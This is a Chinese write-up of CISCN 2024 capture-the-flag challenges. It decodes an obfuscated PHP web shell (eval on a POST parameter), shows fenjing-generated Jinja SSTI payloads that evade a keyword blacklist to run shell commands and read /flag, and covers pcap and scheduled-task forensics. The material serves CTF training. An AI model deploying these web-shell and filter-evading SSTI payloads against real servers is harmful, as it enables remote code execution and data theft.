Ciscn2024
Ciscn wp web
helloctf
进入页面发现源码有两个文件，hackme.php，tips.php
?file=.../../hackme.php
这个里面是这样一段代码
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
很明显这里是混淆过的代码，所以我们就得去混淆，
手动反混淆一下，如下图，将各个函数echo出来
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst."\n";//base64_decode
echo $OxirhK."\n";//strtr
echo $YpAUWC."\n";//substr
echo $rVkKjU."\n";//52
echo $lapUCm."\n";
echo($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
?>
<?php @eval($_POST['cmd_66.99']); ?>
可以看到hackme.php实际上就是一句话木马。尝试使用蚁剑去连接
读取tips.php里面有phpinfo()，可以查看
这里面看到这道题的考点就是对disable_function的绕过。
使用蚁剑的一把梭哈。
safeproxy
直接访问源码就可以看到
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>' + html.escape(f.read()) + '</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代，防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
这里过滤了响应头回显的方法，所以我们先使用fengjing跑一下waf构造payload，直接获得
from fenjing import exec_cmd_payload
import logging
logging.basicConfig(level=logging.INFO)
def waf(s: str):
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for word in blacklist:
if word in s:
return False
return True
payload, _ = exec_cmd_payload(waf, "whoami")
print(payload)
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set du='so'[::-1]%}{{g.pop[gl][bu][im](du)['p''open']('whoami').read()}}
解决无回显的问题
-
使用挂载静态文件的方式
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('mkdir static').read()}} {%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('cat /flag > static/flag.txt').read()}}这样就可以将flag重定向到静态目录下了
-
覆盖首页的app.py文件
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('cat /flag > app.py').read()}}
网络流量分析
winft1
flag{miscsecure.com:192.168.116.130:443}
把流量包拖出来，然后直接http过滤，翻到恶意文件请求，就OK了。
winft2
PCHunter64找到计划任务
DriverUpdates \\DriverUpdates powershell f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs= 启用
描述解码得到flag
Nice，flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
winft5
foremost流量包出个zip
注释base64解码后得到时间线关联非常重要，这个就是压缩包的密码，解密即可得到flag
浙公网安备 33010602011771号